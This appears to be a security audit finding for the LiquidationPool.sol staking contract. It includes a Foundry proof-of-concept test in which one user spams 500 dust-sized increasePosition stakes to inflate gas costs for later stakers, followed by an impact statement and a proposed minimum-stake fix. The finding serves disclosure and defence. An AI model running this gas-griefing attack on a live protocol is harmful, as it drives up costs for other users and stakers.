The LiquidationPool.sol contract, responsible for managing staking and liquidation, exposes a vulnerability in the increasePosition
function. The absence of a minimum transaction amount allows users to stake EUROs and TST with dust amounts, significantly increasing gas requirements for subsequent operations.
pragma solidity ^0.8.17;
import {EUROsMock} from "src/utils/EUROsMock.sol";
import {ERC20Mock} from "src/utils/ERC20Mock.sol";
import {WETHMock} from "src/utils/WETHMock.sol";
import {TokenManagerMock} from "src/utils/TokenManagerMock.sol";
import {MockSmartVaultManager} from "src/utils/MockSmartVaultManager.sol";
import {LiquidationPool} from "src/LiquidationPool.sol";
import {LiquidationPoolManager} from "src/LiquidationPoolManager.sol";
import {SmartVaultManager} from "src/utils/SmartVaultManager.sol";
import {Test, console} from "lib/forge-std/src/Test.sol";
contract LiquidationPoolTest is Test {
uint256 constant _HUNDRED_PC = 100_000;
uint256 constant _DEFAULT_COLLATERAL_RATE = 120000;
uint256 constant _DEFAULT_ETH_USD_PRICE = 160000000000;
uint256 constant _DEFAULT_EUR_USD_PRICE = 106000000;
uint256 constant _DEFAULT_WBTC_USD_PRICE = 3500000000000;
uint256 constant _DEFAULT_USDC_USD_PRICE = 100000000;
uint256 constant _PROTOCOL_FEE_RATE = 500;
uint32 constant _POOL_FEE_PERCENTAGE = 50000;
uint256 constant _STARTING_BALANCE = 100e18;
uint256 constant _STARTING_FEES = 100e18;
LiquidationPool liquidationPool;
LiquidationPoolManager liquidationPoolManager;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
ChainlinkMock ethUsdChainlink;
ChainlinkMock eurUsdChainlink;
ERC20Mock TST;
EUROsMock EUROs;
address payable protocol = payable(address(111));
address user1 = address(123);
address user2 = address(456);
address user3 = address(789);
function setUp() public {
ethUsdChainlink = new ChainlinkMock("ETH/USD");
eurUsdChainlink = new ChainlinkMock("EUR/USD");
ethUsdChainlink.setPrice(int256(_DEFAULT_ETH_USD_PRICE));
eurUsdChainlink.setPrice(int256(_DEFAULT_EUR_USD_PRICE));
TST = new ERC20Mock("Test Stable Token", "TST", 18);
EUROs = new EUROsMock();
tokenManager = new TokenManagerMock(bytes32("ETH"), address(ethUsdChainlink));
mockSmartVaultManager = new MockSmartVaultManager(_DEFAULT_COLLATERAL_RATE, address(tokenManager));
liquidationPoolManager = new LiquidationPoolManager(address(TST), address(EUROs), address(mockSmartVaultManager), address(eurUsdChainlink), protocol, _POOL_FEE_PERCENTAGE);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
EUROs.grantRole(EUROs.BURNER_ROLE(), address(liquidationPool));
TST.mint(user1, _STARTING_BALANCE);
EUROs.mint(user1, _STARTING_BALANCE);
TST.mint(user2, _STARTING_BALANCE);
EUROs.mint(user2, _STARTING_BALANCE);
TST.mint(user3, _STARTING_BALANCE);
EUROs.mint(user3, _STARTING_BALANCE);
EUROs.mint(address(liquidationPoolManager), _STARTING_FEES);
vm.warp(block.timestamp + 1 days);
}
uint256 gasUsedForUser1FirstTransaction;
uint256 gasUsedForUser2FirstTransaction;
uint256 gasUsedForUser3FirstTransaction;
function testDustingIncreasePosition() public {
testIncreasePositionGasPerUser(user1, "User1");
testIncreasePositionGasPerUser(user2, "User2");
testIncreasePositionGasPerUser(user3, "User3");
assert(gasUsedForUser2FirstTransaction < gasUsedForUser3FirstTransaction);
}
function testIncreasePositionGasPerUser(address user, string memory userName) internal {
uint256 dustAmountTST = 1;
uint256 user2SpamCount = 500;
vm.txGasPrice(1);
if (user == user1) {
vm.deal(address(user1), 10 ether);
vm.startPrank(user1);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser1 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser1 = gasleft();
gasUsedForUser1FirstTransaction = (gasBeforeUser1 - gasAfterUser1) * tx.gasprice;
console.log(userName, "Gas used for user1's first transaction: ", gasUsedForUser1FirstTransaction);
vm.stopPrank();
} else if (user == user2) {
vm.deal(address(user2), 10 ether);
vm.startPrank(user2);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser2 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser2 = gasleft();
gasUsedForUser2FirstTransaction = (gasBeforeUser2 - gasAfterUser2) * tx.gasprice;
console.log(userName, "Gas used for user2's first transaction: ", gasUsedForUser2FirstTransaction);
for (uint256 i = 0; i < user2SpamCount; i++) {
liquidationPool.increasePosition(dustAmountTST, 0);
}
vm.stopPrank();
} else if (user == user3) {
vm.deal(address(user3), 10 ether);
vm.startPrank(user3);
TST.approve(address(liquidationPool), type(uint256).max);
uint256 gasBeforeUser3 = gasleft();
liquidationPool.increasePosition(dustAmountTST, 0);
uint256 gasAfterUser3 = gasleft();
gasUsedForUser3FirstTransaction = (gasBeforeUser3 - gasAfterUser3) * tx.gasprice;
console.log(userName, "Gas used for user3's first transaction: ", gasUsedForUser3FirstTransaction);
vm.stopPrank();
}
}
}
The impact is escalating gas costs for protocol distributions and users engaging in staking operations.
Introduce a minimum stake amount requirement in the increasePosition function to reject transactions with amounts below the defined threshold. This mitigates the risk of spam attacks with dust transactions.